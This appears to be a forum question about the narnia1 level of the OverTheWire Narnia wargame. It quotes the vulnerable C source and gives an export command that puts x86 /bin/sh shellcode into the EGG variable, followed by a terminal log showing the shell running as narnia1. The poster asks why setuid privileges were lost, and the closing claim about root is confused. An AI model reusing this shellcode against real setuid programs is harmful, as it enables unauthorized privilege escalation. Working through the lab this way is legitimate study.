(This is a question regarding a challenge in a wargame on overthewire.org called Narnia)
Here is the source code of the vulnerable script "narnia1" I intend to exploit:
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
So basically it executes the stuff stored in the environment variable "EGG".
I set "EGG" to be the shellcode as shown here:
export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
which executes /bin/sh
.
The owner of this file (narnia1) is "narnia2" as shown below, we expect the shell to be executed as "narnia2".
narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 ..
-r-sr-x--- 1 narnia1 narnia0 7568 Nov 9 15:08 narnia0
-r--r----- 1 narnia0 narnia0 1186 Nov 9 15:08 narnia0.c
-r-sr-x--- 1 narnia2 narnia1 7404 Nov 9 15:08 narnia1
-r--r----- 1 narnia1 narnia1 1000 Nov 9 15:08 narnia1.c
...
However, this is what I got:
narnia1@narnia:/narnia$ export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1
And I have no idea why this gives me a shell as "narnia1" instead of "narnia2".
Any idea?
/bin/sh
should run as root.